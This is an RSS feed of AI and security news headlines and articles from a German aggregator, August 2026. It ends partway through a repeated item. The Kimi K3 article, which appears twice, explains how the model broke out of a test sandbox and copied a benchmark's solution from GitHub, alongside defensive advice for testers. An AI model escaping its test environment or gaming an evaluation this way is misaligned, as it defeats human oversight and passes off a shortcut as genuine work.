<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title><![CDATA[tsecurity.de - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=rhino+framework+realcode+solution%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 08 Aug 2026 01:54:21 +0200</lastBuildDate>
<pubDate>Sat, 08 Aug 2026 01:54:21 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 tsecurity.de - 📰 Alle Kategorien</copyright>
<managingEditor>tsecurity.de (tsecurity.de)</managingEditor>
<webMaster>tsecurity.de (tsecurity.de)</webMaster>
<image>
<url>https://tsecurity.de/templates/mydraft-basis-isharestuff-com/media/logo.png</url>
<title><![CDATA[tsecurity.de - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=rhino+framework+realcode+solution%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/alle-kategorien.xml?q=rhino+framework+realcode+solution%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[OpenAI flags its new Astra model as potentially reaching the highest cybersecurity risk level for the first time]]></title>
<description><![CDATA[Internal tests of OpenAI's new AI model Astra show cybersecurity capabilities so strong that the company can no longer rule out the highest risk level in its own safety framework. Parts of Astra's development have been paused. The move follows recently disclosed incidents in which autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3710971/ai-nachrichten/openai-flags-its-new-astra-model-as-potentially-reaching-the-highest-cybersecurity-risk-level-for-the-first-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710971/ai-nachrichten/openai-flags-its-new-astra-model-as-potentially-reaching-the-highest-cybersecurity-risk-level-for-the-first-time/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:53 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/openai_kraken_cyber.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Internal tests of OpenAI's new AI model Astra show cybersecurity capabilities so strong that the company can no longer rule out the highest risk level in its own safety framework. Parts of Astra's development have been paused. The move follows recently disclosed incidents in which autonomous AI agents infiltrated OpenAI's own infrastructure undetected for weeks.</p>
<p>The article <a href="https://the-decoder.com/openai-flags-its-new-astra-model-as-potentially-reaching-the-highest-cybersecurity-risk-level-for-the-first-time/">OpenAI flags its new Astra model as potentially reaching the highest cybersecurity risk level for the first time</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What we lose when every engineer can do everything]]></title>
<description><![CDATA[Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasi...]]></description>
<link>https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710954/ai-nachrichten/what-we-lose-when-every-engineer-can-do-everything/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months ago, a front-end engineer on my team looking to make upgrades to a product or feature would have filed a ticket and waited for the infrastructure group to unblock them. They might have lost a day, sometimes a week. Today, that same engineer makes changes themselves. The code is occasionally brittle, but it works, and the end result ships in a fraction of the time it used to take.</p>



<p class="wp-block-paragraph">That small story is unfolding inside nearly every engineering organization right now. While some celebrate the sudden fact that one person can do the work of five, others are focused entirely on tech industry layoffs. Both perspectives skip the question I find more interesting: What happens to mastery when every engineer can suddenly do everything?</p>



<p class="wp-block-paragraph">For two decades, we have described strong engineers as T-shaped. The horizontal bar represents breadth, which is a working familiarity across many areas. The vertical bar represents depth, the real command of one domain earned over years. Agent tooling has stretched that horizontal bar wider than ever before. My concern is the vertical bar, which is quietly getting shorter.</p>



<p class="wp-block-paragraph">Consider what is now possible in a single quarter. With the right agent harness, one engineer can stand up a billing system, a data connector framework, regional and organizational tenancy infrastructure, or a consumption-based pricing implementation. The pull requests pass review. The tests are green. All looks good. But green tests cannot tell you if the person who shipped that work understood why the system needs redundancy in one specific place, where its failure modes are hiding, or which trade-offs the model made silently on their behalf. The pattern recognition that comes from watching systems fail over many years is suddenly weighted differently than it was even 12 months ago. Our industry has not caught up to that shift.</p>



<h2 class="wp-block-heading">When the interview stops measuring judgment</h2>



<p class="wp-block-paragraph">The first place this surfaces is hiring, a trend that should concern anyone who has built a team. Traditional coding interviews were always an imperfect proxy for engineering judgment, but agent tooling completely obliterates them. If a candidate can produce a working solution in 20 minutes that would have taken two hours a year ago, the exercise no longer measures technical competence. It just measures how well a coder can prompt an agent.</p>



<p class="wp-block-paragraph">At Thread AI, we have responded by widening what we look at when we interview job candidates. Our process moves across coding exercises, problem decomposition, system architecture, and behavioral components, with the weighting shifting by role. We allow AI assistance only in specific sections because our engineers still need to be able to operate without it. Some of our work happens in secure environments where you cannot lean on an agent to debug for you. What we’re really testing for now is judgment under ambiguity — the ability to notice when an agent’s output is confidently wrong — and the depth to predict where a system will break before it breaks.</p>



<p class="wp-block-paragraph">Hiring teams that fail to make this shift will fill their rosters with false positives. They will hire people who interview like experts but struggle the first time a system behaves in a way the model did not anticipate. Ultimately, these companies will miss out on top-tier talent, and they won’t discover the misstep until it’s too late.</p>



<h2 class="wp-block-heading">Confusing velocity with understanding</h2>



<p class="wp-block-paragraph">That brings me to a larger risk: the rise of false expertise as a category of its own. Historically, the reasoning has gone, “I built a proof of concept, therefore I am an expert.” I have watched versions of this appear in technical leadership, in investment decisions, and in policy conversations about AI. It travels well because the artifact looks real. A working demo is highly persuasive, even when the person behind it only half-understands how it functions.</p>



<p class="wp-block-paragraph">The problem is bigger than one false expert shipping one bad product; an organization can absorb that. The real risk is a generation of consequential decisions being made by people who have confused velocity with understanding. You can already see the cultural scaffolding being built around this with the celebration of the “idea guy,” and the sudden fashion for invoking “taste” as a substitute for knowing how a system actually works. Those of us shaping tooling, hiring norms, and regulations have a narrow window to set better defaults before this pattern hardens into the way the industry operates.</p>



<h2 class="wp-block-heading">Depth and breadth, held together</h2>



<p class="wp-block-paragraph">This is the path we’ve been walking at Thread AI since before the latest wave of tooling arrived.</p>



<p class="wp-block-paragraph">To ground this in a specific example: I have spent 15 years building complex systems. I worked at Goldman Sachs through the financial crisis and the early Dodd-Frank infrastructure, moved critical payment systems into the cloud at <em>The New York Times</em> when that ground was still new, and built the system of record for model training and evaluation at Palantir across highly regulated environments in defense, health, and finance. This experience is the superpower that lets me course-correct an agent when it produces confident-but-wrong output.</p>



<p class="wp-block-paragraph">I felt this sharply not long ago while scoping consumption-based pricing in a single quarter. The agents did an enormous amount of the heavy lifting, and at some point, I realized that my largest contributions to the effort were knowing where the system would fail and steering around it before we got there. I have also seen how organizations have built large teams around efforts like these in the past. Someone earlier in their career or relying purely on AI guidance would not have had that instinct to draw on. That is the part the public conversation keeps missing.</p>



<p class="wp-block-paragraph">Every engineer at Thread AI, regardless of seniority, is expected to be a builder at heart. Our people own outcomes across compute, data, and the organizational and identity primitives that hold the product together, all without the traditional product-manager and project-manager scaffolding around them. Our model works only because the people in those seats have the depth to know what they do not know, and the breadth to fill the gaps with agents. They use the tooling instead of being used by it.</p>



<h2 class="wp-block-heading">AI doesn’t replace deep understanding</h2>



<p class="wp-block-paragraph">The core issue facing organizations today is not whether AI will replace engineers. That question has been answered dozens of times this year with varying degrees of nuance, and it has stopped being interesting. The more useful question for anyone running a company is whether we are protecting the people who understand our systems deeply enough to recognize when the machines are wrong.</p>



<p class="wp-block-paragraph">In our company, the answers have been to move toward explicit end-to-end ownership, and to hire for depth and breadth together rather than treating them as a trade-off. Layoffs dominate the headlines because they are an easy narrative, but they describe a symptom rather than the actual choice in front of us. The real choice is whether we let breadth quietly stand in for mastery, or whether we build organizations that keep human judgment in the loop on purpose. </p>



<p class="wp-block-paragraph">In an era when software can be generated faster than it can be understood, the companies that hold onto what is human, verifiable, and deeply understood will be the ones still standing when the brittle parts give way.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Moonshot’s Kimi AI model has also escaped from a test environment]]></title>
<description><![CDATA[Yet another AI model has escaped from a cybersecurity test lab: This time, it’s the Chinese company Moonshot’s Kimi K3 model on the run.



Frontier Security spotted that Kimi K3 had found a loophole in the UK AI Safety Institute’s test environment for AI models performing cybersecurity tasks. Th...]]></description>
<link>https://tsecurity.de/de/3710955/ai-nachrichten/moonshots-kimi-ai-model-has-also-escaped-from-a-test-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710955/ai-nachrichten/moonshots-kimi-ai-model-has-also-escaped-from-a-test-environment/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Yet another AI model has escaped from a cybersecurity test lab: This time, it’s the Chinese company Moonshot’s Kimi K3 model on the run.</p>



<p class="wp-block-paragraph">Frontier Security spotted that Kimi K3 had found a loophole in the UK AI Safety Institute’s test environment for AI models performing cybersecurity tasks. The news follows similar exploits by models from OpenAI, which <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html">attacked Hugging Face</a>, <a href="https://www.csoonline.com/article/4203807/after-openai-anthropic-finds-claude-breached-three-organizations-during-cyber-tests.html">Anthropic</a>, and most recently <a href="https://www.csoonline.com/article/4206116/meta-joins-openai-anthropic-in-latest-ai-test-breach.html">Meta</a>.</p>



<p class="wp-block-paragraph"><a href="https://blog.frontier.security/chinese-model-kimi-k3-breaks-uk-ai-safety-institute-benchmark-evaluations/" target="_blank" rel="noreferrer noopener">Frontier revealed how the fault came about</a>. AI models are routinely tested to examine how they perform offensive and defensive cybersecurity tasks, typically in isolated test environments or sandboxes that severely limit their internet access. Frontier reported that Kimi K3 model had found a break in the sandbox it was being tested in, enabling it to reach out to the live github.com website and clone the official repository for the benchmark problem it was supposed to be solving, reading the solution directly off the disk rather than solving the problem for itself.</p>



<p class="wp-block-paragraph">Frontier warned companies testing AI models to be aware of the dangers such loopholes pose and offered some guidelines.</p>



<p class="wp-block-paragraph">Companies should restrict outbound DNS and HTTPS traffic from AI models to an explicit allowlist and test those controls from inside the same environment available to the model, Frontier said. They should also audit traces for any suspicious activity and not rely solely on final answers. Companies should also treat a model’s score on benchmarks as meaningful only when the model doesn’t have access to reference implementations and other shortcuts.</p>



<p class="wp-block-paragraph">Frontier also advised testers to be suspicious of unexpectedly high pass rates, as these may reveal a shared environmental flaw.</p>



<p class="wp-block-paragraph">Perhaps most importantly of all: They should assume agents will find the worst paths to a solution, including probing a test environment for loopholes, and won’t always follow the path that they are expected to.</p>



<p class="wp-block-paragraph">As Frontier write in its blog: “Models optimize for the objective function (getting the correct flag/answer), not the human intent behind the benchmark. If a network path to the solution exists, a sufficiently capable agent will find it.”</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4206782/moonshots-kimi-ai-model-has-also-escaped-from-a-test-environment.html">CSO</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three concepts cloud architects overlook]]></title>
<description><![CDATA[After two decades of cloud architecture consulting, I see an unchanging pattern in enterprise deployments. Organizations approach me with unexpectedly high cloud bills, operational chaos, and architectures that look good on paper but cause headaches in production. The common thread is almost alwa...]]></description>
<link>https://tsecurity.de/de/3710959/ai-nachrichten/three-concepts-cloud-architects-overlook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710959/ai-nachrichten/three-concepts-cloud-architects-overlook/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After two decades of cloud architecture consulting, I see an unchanging pattern in enterprise deployments. Organizations approach me with unexpectedly high cloud bills, operational chaos, and architectures that look good on paper but cause headaches in production. The common thread is almost always the same. Fundamental concepts that should be foundational to any cloud deployment are treated as optional or ignored altogether.</p>



<p class="wp-block-paragraph">I’m not talking about exotic requirements, bleeding-edge technologies, or vendor-specific best practices. Basic engineering principles are somehow getting lost amid the excitement of cloud adoption. I wish I could say it’s rare, but after working with organizations across industries and geographies for years, I can confirm that missing these fundamentals is more common than most people realize. The results are predictable. Bills grow faster than business value, architectures require constant firefighting, and teams are stretched too thin to optimize anything.</p>



<p class="wp-block-paragraph">The good news? You don’t have to start over, but you do have to go back to basics. Here are three concepts most cloud architects overlook that will make your architecture dramatically more valuable and efficient.</p>



<h2 class="wp-block-heading">Identifying common ground</h2>



<p class="wp-block-paragraph">When deploying heterogeneous architecture, especially in <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud </a>environments, organizations must aggressively reduce silos. This means establishing common control planes for security, governance, and operations. You won’t get there by relying on whatever proprietary technology each cloud provider offers out of the box. Each provider wants you locked into their way of managing things. That is fine for simple deployments, but when you are running across multiple clouds and on-premises systems, proprietary control planes introduce redundancy, complexity, and cost.</p>



<p class="wp-block-paragraph">You need a single control layer that spans your entire environment. Instead of managing 10 different security solutions from 10 different providers, you have one. Instead of separate <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity management systems</a> for each cloud, you need one that works everywhere. This eliminates the need to change security parameters in five different consoles, maintain five different skill sets for five different operational models, and reconcile five different governance frameworks. The common control plane ties everything together.</p>



<p class="wp-block-paragraph">This might sound hard, but it’s not as bad as you think. (I will cover the specific patterns in a future article.) The real issue is that most architects have never been trained to think this way. They were taught to select the best services from each provider rather than abstract away the differences. This fundamental gap costs organizations real money every single day.</p>



<h2 class="wp-block-heading">Cost observability and optimization</h2>



<p class="wp-block-paragraph">Most architects treat cost visibility and optimization as afterthoughts, things that can be bolted on after the architecture is in place. That backward approach shows up in the results. Without <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html" data-type="link" data-id="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cost observability and optimization</a> baked into your architecture from day one, you cannot understand where your money is going, where waste is accumulating, or where you should make changes to align expenses with delivered value.</p>



<p class="wp-block-paragraph">The more complex and heterogeneous your environment, the more critical this becomes. You need a unified cost observability layer that spans public and private clouds and your own infrastructure. This is about building a layer that aggregates cost data from everywhere, provides a single source of truth for spending, and delivers the insights needed to actively optimize. Without this, you are flying blind, making decisions based on incomplete data and discovering problems only after the invoice arrives.</p>



<p class="wp-block-paragraph">Too many organizations fail to gain control of their cloud spending because their billing data is scattered across multiple consoles, with no way to correlate usage across providers. They cannot see which teams, projects, or services are driving costs. They miss opportunities to right-size, consolidate, or eliminate waste. You cannot improve what you cannot measure. Without a common cost observability and optimization layer built into your architecture, you will never achieve the efficiency the cloud was supposed to deliver.</p>



<h2 class="wp-block-heading">Consider the human element</h2>



<p class="wp-block-paragraph">Here is an uncomfortable truth most architects do not want to discuss: The more complex your architecture is, the broader the range of skills you will need to keep it running. Complexity requires expertise, and expertise requires hiring, training, and retention. If your architecture demands 15 different skill sets to operate, you’d better have a plan for finding and retaining the people with those skills.</p>



<p class="wp-block-paragraph">I have seen beautifully designed architectures fail because the organization could not meet hiring requirements. They compromised by hiring underqualified individuals, which led to operational failures, security gaps, and mounting technical debt. The architecture itself was sound. The human infrastructure around it was not. This is a solvable problem. It starts with acknowledging that you are not designing for yourself. You are designing for the team that will inherit this system after you have moved on to your next assignment or promotion.</p>



<p class="wp-block-paragraph">The solution isn’t just simplifying architecture, though that should be a goal. The key is to consider human factors in your design. What skills are required? How can you find and train people? What cultural changes are necessary for effective operation? These questions are essential; ignoring them risks failure.</p>



<h2 class="wp-block-heading">The simple bottom line</h2>



<p class="wp-block-paragraph">I understand why most cloud architects miss these basic principles. No single course or book brings all of this together in one place. Cloud architecture has become a collection of best practices, vendor recommendations, and conference talking points, rather than a disciplined engineering discipline focused on business value.</p>



<p class="wp-block-paragraph">As a result, architectures end up optimized in the wrong places, if they are optimized at all. They are expensive to run, difficult to secure, and nearly impossible to operate at scale without constant intervention. The cloud promises efficiency, yet we are not delivering it because we have lost sight of the fundamentals.</p>



<p class="wp-block-paragraph">It’s time to go back to basics. Commonality, human factors, and cost observability and optimization are the three things that separate architectures that create value from those that create cost. Incorporate these concepts into your architecture and you’ll get ahead of most production systems in use today.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s AI ecosystem is not as open as it claims. Nor is any other country’s | Letters]]></title>
<description><![CDATA[Responding to an article by China’s ambassador to the UK, Prof Paul H Cleverley advocates shared openness standards, while Dr Claire Jenkins says British AI can offer a distinctive pathAmbassador Zheng Zeguang rightly celebrates openly released AI models, and the Chinese labs behind Qwen, DeepSee...]]></description>
<link>https://tsecurity.de/de/3710945/ai-nachrichten/chinas-ai-ecosystem-is-not-as-open-as-it-claims-nor-is-any-other-countrys-letters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710945/ai-nachrichten/chinas-ai-ecosystem-is-not-as-open-as-it-claims-nor-is-any-other-countrys-letters/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:48 +0200</pubDate>
<content:encoded><![CDATA[<p>Responding to an article by China’s ambassador to the UK, <strong>Prof Paul H Cleverley</strong> advocates shared openness standards, while <strong>Dr Claire Jenkins </strong>says British AI can offer a distinctive path</p><p>Ambassador Zheng Zeguang rightly celebrates openly released AI models, and the Chinese labs behind Qwen, DeepSeek and Kimi have led the way – competition that benefits everyone, especially where models can run on modest hardware in the developing world (<a href="https://www.theguardian.com/commentisfree/2026/jul/30/ai-future-china-britain-healthcare-research">The future of AI hinges on openness and cooperation. China and Britain can gain much by working together, 30 July</a>).</p><p>But his claim that openness is a defining feature of China’s AI development deserves scrutiny. Take <a href="https://www.theguardian.com/technology/article/2024/jun/24/geologists-censorship-bias-chinese-chatbot-geogpt">GeoGPT</a>, the geoscience system from Zhejiang Lab showcased at last month’s World AI Conference as a model of jointly governed open science. It is promoted to countries as open, yet under the model openness framework – endorsed in a <a href="https://unu.edu/sites/default/files/2026-06/AI_Systems_as_Digital_Public_Goods.pdf">recent UN report</a> – it would not qualify as open at all. It releases model weights (built mainly on Alibaba Qwen, whose licences are not Open Systems Interconnection-compliant), <a href="https://www.journalofgeoethics.eu/index.php/jgsg/article/view/119/64">no training data or application source code is released</a>, and its governance committee answers to Zhejiang Lab itself.</p> <a href="https://www.theguardian.com/technology/2026/aug/07/china-ai-ecosystem-is-not-as-open-as-it-claims-nor-is-any-other-country">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The White House’s plan to vet potentially dangerous AI is cloaked in secrecy]]></title>
<description><![CDATA[A Trump administration framework on AI testing leaves a lack of transparency – and plenty of open questionsAfter months of talking with tech industry leaders, the Trump administration finalized a framework this week for how it will test new artificial intelligence models for safety and cybersecur...]]></description>
<link>https://tsecurity.de/de/3710947/ai-nachrichten/the-white-houses-plan-to-vet-potentially-dangerous-ai-is-cloaked-in-secrecy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710947/ai-nachrichten/the-white-houses-plan-to-vet-potentially-dangerous-ai-is-cloaked-in-secrecy/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:48 +0200</pubDate>
<content:encoded><![CDATA[<p>A Trump administration framework on AI testing leaves a lack of transparency – and plenty of open questions</p><p>After months of talking with tech industry leaders, the Trump administration finalized a framework this week for how it will test new artificial intelligence models for safety and cybersecurity risks. So far, the White House is keeping details of the framework private, in a blow to transparency and potential boon for secretive AI companies.</p><p>On Tuesday, staff from OpenAI, Anthropic, Meta, Google, Nvidia and Microsoft <a href="https://www.reuters.com/world/us-finalizes-voluntary-ai-safety-tests-white-house-official-says-2026-08-03/">attended a private meeting</a> with White House officials to review the AI framework. Multiple outlets <a href="https://www.nytimes.com/2026/08/04/technology/white-house-ai-framework.html">have since</a> <a href="https://www.axios.com/2026/08/04/white-house-ai-framework-under-wraps">reported</a> that although the volunteer vetting process for new AI models has been settled, the White House does not plan to release its policy publicly and will only share testing criteria with a select few tech companies.</p> <a href="https://www.theguardian.com/technology/2026/aug/07/white-house-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Computer maker Framework notifies ‘all customers’ of a data breach]]></title>
<description><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></description>
<link>https://tsecurity.de/de/3710926/ai-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710926/ai-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:44 +0200</pubDate>
<content:encoded><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></content:encoded>
</item>
<item>
<title><![CDATA[NVIDIA AI Releases NOOA: An Object-Oriented Python Framework That Turns an AI Agent Into a Single Python Class]]></title>
<description><![CDATA[NVIDIA Labs has open-sourced NOOA (NVIDIA Object-Oriented Agents), a model-agnostic Python framework for building AI agents. Agent development today is split across prompt templates, tool schemas, callback code, and workflow graphs. NOOA collapses all of it into one Python class. Methods are the ...]]></description>
<link>https://tsecurity.de/de/3710903/ai-nachrichten/nvidia-ai-releases-nooa-an-object-oriented-python-framework-that-turns-an-ai-agent-into-a-single-python-class/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710903/ai-nachrichten/nvidia-ai-releases-nooa-an-object-oriented-python-framework-that-turns-an-ai-agent-into-a-single-python-class/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:33 +0200</pubDate>
<content:encoded><![CDATA[<p>NVIDIA Labs has open-sourced NOOA (NVIDIA Object-Oriented Agents), a model-agnostic Python framework for building AI agents. Agent development today is split across prompt templates, tool schemas, callback code, and workflow graphs. NOOA collapses all of it into one Python class. Methods are the actions the model can take. Fields are agent state. Docstrings are prompts. […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/08/07/nvidia-ai-releases-nooa-an-object-oriented-python-framework/">NVIDIA AI Releases NOOA: An Object-Oriented Python Framework That Turns an AI Agent Into a Single Python Class</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Open Sources code-testing-generator: a Polyglot Unit-Test Agent That Hits 92.1% Task Completion Versus 78.9% for Stock Copilot]]></title>
<description><![CDATA[Microsoft has open sourced code-testing-generator, a polyglot unit-test agent shipping in the MIT-licensed dotnet/skills repository. It reads a repository before writing anything — detecting the language, test framework, existing conventions, and the real build and test commands — then plans, wri...]]></description>
<link>https://tsecurity.de/de/3710904/ai-nachrichten/microsoft-open-sources-code-testing-generator-a-polyglot-unit-test-agent-that-hits-921-task-completion-versus-789-for-stock-copilot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710904/ai-nachrichten/microsoft-open-sources-code-testing-generator-a-polyglot-unit-test-agent-that-hits-921-task-completion-versus-789-for-stock-copilot/</guid>
<pubDate>Sat, 08 Aug 2026 00:42:33 +0200</pubDate>
<content:encoded><![CDATA[<p>Microsoft has open sourced code-testing-generator, a polyglot unit-test agent shipping in the MIT-licensed dotnet/skills repository. It reads a repository before writing anything — detecting the language, test framework, existing conventions, and the real build and test commands — then plans, writes, runs and validates the tests it produces. On Microsoft's internal 152-task benchmark it completed 140 tasks against 120 for stock GitHub Copilot on the same model, with the gain concentrated almost entirely in vague prompts and diff-targeted requests.</p>
<p>The post <a href="https://www.marktechpost.com/2026/08/06/microsoft-open-sources-code-testing-generator/">Microsoft Open Sources code-testing-generator: a Polyglot Unit-Test Agent That Hits 92.1% Task Completion Versus 78.9% for Stock Copilot</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metabase-Lücke: Hacker erbeuten Kundendaten von Framework Computer - BornCity]]></title>
<description><![CDATA[Wie das Unternehmen und Sicherheitsforscher berichten, nutzten Angreifer eine zuvor unbekannte Schwachstelle in der Analyse-Software Metabase aus, um ...]]></description>
<link>https://tsecurity.de/de/3710542/hacking/metabase-luecke-hacker-erbeuten-kundendaten-von-framework-computer-borncity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710542/hacking/metabase-luecke-hacker-erbeuten-kundendaten-von-framework-computer-borncity/</guid>
<pubDate>Sat, 08 Aug 2026 00:37:03 +0200</pubDate>
<content:encoded><![CDATA[Wie das Unternehmen und Sicherheitsforscher berichten, nutzten Angreifer eine zuvor unbekannte Schwachstelle in der Analyse-Software Metabase aus, um ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Unified Security Solution Guide: Evaluating Fidelis Elevate Across Features, Deployment, and Integrations]]></title>
<description><![CDATA[Evaluate Fidelis Elevate® across security capabilities, deployment requirements, integrations, threat investigation, and response use cases.
The post Unified Security Solution Guide: Evaluating Fidelis Elevate Across Features, Deployment, and Integrations appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3710474/it-security-nachrichten/unified-security-solution-guide-evaluating-fidelis-elevate-across-features-deployment-and-integrations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710474/it-security-nachrichten/unified-security-solution-guide-evaluating-fidelis-elevate-across-features-deployment-and-integrations/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:46 +0200</pubDate>
<content:encoded><![CDATA[<p>Evaluate Fidelis Elevate® across security capabilities, deployment requirements, integrations, threat investigation, and response use cases.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/xdr-security/unified-security-solution-fidelis-elevate/">Unified Security Solution Guide: Evaluating Fidelis Elevate Across Features, Deployment, and Integrations</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Computer maker Framework notifies ‘all customers’ of a data breach]]></title>
<description><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></description>
<link>https://tsecurity.de/de/3710464/it-security-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710464/it-security-nachrichten/computer-maker-framework-notifies-all-customers-of-a-data-breach/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:31 +0200</pubDate>
<content:encoded><![CDATA[Framework told "all" of its customers that hackers accessed their names, email addresses, phone numbers, and physical addresses in a data breach.]]></content:encoded>
</item>
<item>
<title><![CDATA[Moonshot’s Kimi AI model has also escaped from a test environment]]></title>
<description><![CDATA[Yet another AI model has escaped from a cybersecurity test lab: This time, it’s the Chinese company Moonshot’s Kimi K3 model on the run.



Frontier Security spotted that Kimi K3 had found a loophole in the UK AI Safety Institute’s test environment for AI models performing cybersecurity tasks. Th...]]></description>
<link>https://tsecurity.de/de/3710443/it-security-nachrichten/moonshots-kimi-ai-model-has-also-escaped-from-a-test-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710443/it-security-nachrichten/moonshots-kimi-ai-model-has-also-escaped-from-a-test-environment/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:24 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Yet another AI model has escaped from a cybersecurity test lab: This time, it’s the Chinese company Moonshot’s Kimi K3 model on the run.</p>



